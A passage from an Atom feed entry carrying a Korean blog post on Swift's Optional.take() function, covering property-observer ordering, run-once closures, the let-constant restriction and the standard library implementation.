Closure가 들어 있습니다.&lt;/p&gt;

&lt;p&gt;여기서 중요한 부분은 &lt;code class="language-plaintext highlighter-rouge"&gt;completion 실행&lt;/code&gt;보다 &lt;code class="language-plaintext highlighter-rouge"&gt;willSet: newValue is nil = true&lt;/code&gt;와 &lt;code class="language-plaintext highlighter-rouge"&gt;didSet: completion is nil = true&lt;/code&gt;가 먼저 출력된다는 점입니다.&lt;/p&gt;

&lt;p&gt;즉 &lt;code class="language-plaintext highlighter-rouge"&gt;completion.take()?()&lt;/code&gt;는 Closure를 실행한 뒤에 Optional을 비우는 것이 아닙니다. 먼저 Optional에 들어 있던 Closure를 꺼내고, 원본 프로퍼티를 &lt;code class="language-plaintext highlighter-rouge"&gt;nil&lt;/code&gt;로 변경한 다음, 꺼낸 Closure를 실행합니다.&lt;/p&gt;

&lt;p&gt;이를 풀어서 쓰면 다음 순서와 같습니다.&lt;/p&gt;

&lt;div class="language-swift highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;current&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;completion&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;take&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="nf"&gt;current&lt;/span&gt;&lt;span class="p"&gt;?()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;따라서 &lt;code class="language-plaintext highlighter-rouge"&gt;willSet&lt;/code&gt;과 &lt;code class="language-plaintext highlighter-rouge"&gt;didSet&lt;/code&gt; 기준으로 보면 &lt;code class="language-plaintext highlighter-rouge"&gt;completion.take()&lt;/code&gt;가 호출되는 시점에 이미 프로퍼티 변경이 끝납니다. 이 특성 때문에 한 번만 실행되어야 하는 Closure를 다룰 때 &lt;code class="language-plaintext highlighter-rouge"&gt;take&lt;/code&gt;가 의도를 잘 드러냅니다.&lt;/p&gt;

&lt;h2 id="다른-값에도-사용할-수-있다"&gt;다른 값에도 사용할 수 있다&lt;/h2&gt;

&lt;p&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;take&lt;/code&gt;는 Closure 전용 함수는 아닙니다. Optional에 들어 있는 값을 한 번 소비하고 상태를 비우고 싶을 때 사용할 수 있습니다.&lt;/p&gt;

&lt;p&gt;예를 들어 지연 실행할 작업을 Optional로 들고 있다가, 실행 시점에 꺼내서 비우는 방식으로 사용할 수 있습니다.&lt;/p&gt;

&lt;div class="language-swift highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kd"&gt;struct&lt;/span&gt; &lt;span class="kt"&gt;PendingAction&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nv"&gt;action&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="kt"&gt;Void&lt;/span&gt;&lt;span class="p"&gt;)?&lt;/span&gt;

  &lt;span class="k"&gt;mutating&lt;/span&gt; &lt;span class="kd"&gt;func&lt;/span&gt; &lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_&lt;/span&gt; &lt;span class="nv"&gt;action&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kd"&gt;@escaping&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="kt"&gt;Void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;action&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;action&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;mutating&lt;/span&gt; &lt;span class="kd"&gt;func&lt;/span&gt; &lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;action&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;take&lt;/span&gt;&lt;span class="p"&gt;()?()&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;run()&lt;/code&gt;을 여러 번 호출하더라도 저장된 action은 한 번만 실행됩니다.&lt;/p&gt;

&lt;div class="language-swift highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nv"&gt;pendingAction&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;PendingAction&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="n"&gt;pendingAction&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="k"&gt;set&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"run"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="n"&gt;pendingAction&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="c1"&gt;// run&lt;/span&gt;
&lt;span class="n"&gt;pendingAction&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="c1"&gt;// nothing&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;이런 코드는 플래그를 따로 두는 방식보다 상태가 단순합니다. 값이 있으면 아직 실행되지 않은 것이고, 값이 없으면 이미 실행되었거나 등록되지 않은 상태입니다.&lt;/p&gt;

&lt;h2 id="사용할-때-주의할-점"&gt;사용할 때 주의할 점&lt;/h2&gt;

&lt;p&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;take&lt;/code&gt;는 Optional 값을 변경하는 함수입니다. 따라서 &lt;code class="language-plaintext highlighter-rouge"&gt;let&lt;/code&gt;으로 선언된 Optional에는 사용할 수 없습니다.&lt;/p&gt;

&lt;div class="language-swift highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;String&lt;/span&gt;&lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"minsone"&lt;/span&gt;
&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;take&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="c1"&gt;// Compile Error&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;take&lt;/code&gt;를 사용하려면 값이 변경 가능해야 합니다.&lt;/p&gt;

&lt;div class="language-swift highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nv"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;String&lt;/span&gt;&lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"Swift"&lt;/span&gt;
&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;value&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;take&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;또 하나 주의할 점은 &lt;code class="language-plaintext highlighter-rouge"&gt;take&lt;/code&gt;가 값을 꺼내면서 원본 Optional을 변경한다는 점입니다. 표준 라이브러리 구현에서는 &lt;code class="language-plaintext highlighter-rouge"&gt;consume self&lt;/code&gt;를 사용해 현재 Optional을 소비하고, 그 자리에 &lt;code class="language-plaintext highlighter-rouge"&gt;nil&lt;/code&gt;을 다시 넣습니다.&lt;/p&gt;

&lt;p&gt;대부분의 경우 &lt;code class="language-plaintext highlighter-rouge"&gt;take&lt;/code&gt;는 큰 모델 객체보다 Closure, Task, Timer, Token 처럼 “등록된 작업이나 핸들”을 한 번 꺼내고 비우는 용도에 더 잘 맞습니다.&lt;/p&gt;

&lt;h2 id="정리"&gt;정리&lt;/h2&gt;

&lt;p&gt;Optional의 &lt;code class="language-plaintext highlighter-rouge"&gt;take&lt;/code&gt; 함수는 값을 꺼내는 동작과 원본을 &lt;code class="language-plaintext highlighter-rouge"&gt;nil&lt;/code&gt;로 비우는 동작을 하나로 묶는 작은 유틸리티입니다.&lt;/p&gt;

&lt;div class="language-swift highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kd"&gt;extension&lt;/span&gt; &lt;span class="kt"&gt;Optional&lt;/span&gt; &lt;span class="k"&gt;where&lt;/span&gt; &lt;span class="kt"&gt;Wrapped&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="kt"&gt;Copyable&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="kt"&gt;Escapable&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="k"&gt;mutating&lt;/span&gt; &lt;span class="kd"&gt;func&lt;/span&gt; &lt;span class="nf"&gt;take&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;Self&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;consume&lt;/span&gt; &lt;span class="k"&gt;self&lt;/span&gt;
    &lt;span class="k"&gt;self&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;nil&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;특히 한 번만 실행되어야 하는 Closure나 지연 작업을 Optional로 들고 있을 때 유용합니다. 호출한 뒤에 직접 &lt;code class="language-plaintext highlighter-rouge"&gt;nil&lt;/code&gt;을 넣는 패턴이 반복된다면, &lt;code class="language-plaintext highlighter-rouge"&gt;take&lt;/code&gt;를 통해 의도를 더 명확하게 표현할 수 있습니다.&lt;/p&gt;

&lt;h2 id="참고자료"&gt;참고자료&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href="https://github.com/swiftlang/swift/blob/main/stdlib/public/core/Optional.swift"&gt;Swift Standard Library - Optional.swift&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/body&gt;&lt;/html&gt;
</content>
    <id>https://minsOne.github.io/swift-optional-take</id>
    <link href="https://minsOne.github.io/swift-optional-take"/>
    <title>[Swift] Optional 값을 꺼내고 비우는 take 함수</title>
    <updated>2026-05-18T09:00:00+09:00</updated>
    <dc:date>2026-05-18T09:00:00+09:00</dc:date>
  </entry>
  <dc:date>2026-05-18T09:00:00+09:00</dc:date>
</feed>
